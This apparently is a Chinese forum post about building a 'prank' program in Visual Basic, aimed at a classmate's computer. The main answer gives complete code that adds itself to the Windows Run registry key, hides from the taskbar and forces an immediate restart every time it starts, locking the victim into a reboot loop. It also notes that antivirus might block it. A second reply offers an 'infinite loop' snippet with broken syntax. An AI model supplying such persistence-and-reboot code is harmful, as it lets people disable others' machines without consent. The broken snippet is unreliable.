用VB制作恶搞小程序

这不好哦 这段代码会让你们同学的电脑部段重启
Dim a As Integer, mulu As String
Private Sub Form_Load()
Dim w
mulu = Trim(App.Path) & "\" & "好玩"
Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "好玩", mulu, "REG_SZ" '这是一行上的哦应该都有知道吧
a = 0
App.TaskVisible = False
Form1.Hide
End Sub

Private Sub Timer1_Timer()’要添加个timer1控件将Interval属性设置为1000
a = a + 1
If a = 9 Then Shell "shutdown -r -t 0"
If a = 10 Then
MsgBox "呵呵,准备给我打点话吧"
End If
End Sub
前提是没被杀毒软件阻止 生成保存命名的时候 叫 “好玩”不然要错
有疑问连系115101499 我的QQ

Private Sub Form_Load()
do
i=i+1
while（i<0）
end sub
死循环

我们帮你啊

关于用vb制作一个小程序 VB制作一个程序 VB制作桌面主题程序 播放器VB制作程序 怎样用VB制作整人程序 VB自我消亡程序制作 VB 程序注册制作问题 VB ~ 制作导入注册表的程序 ~ VB VB ~~~~ 制作导入注册表的程序 ~~~~ VB 用VB如何制作查询闰年的程序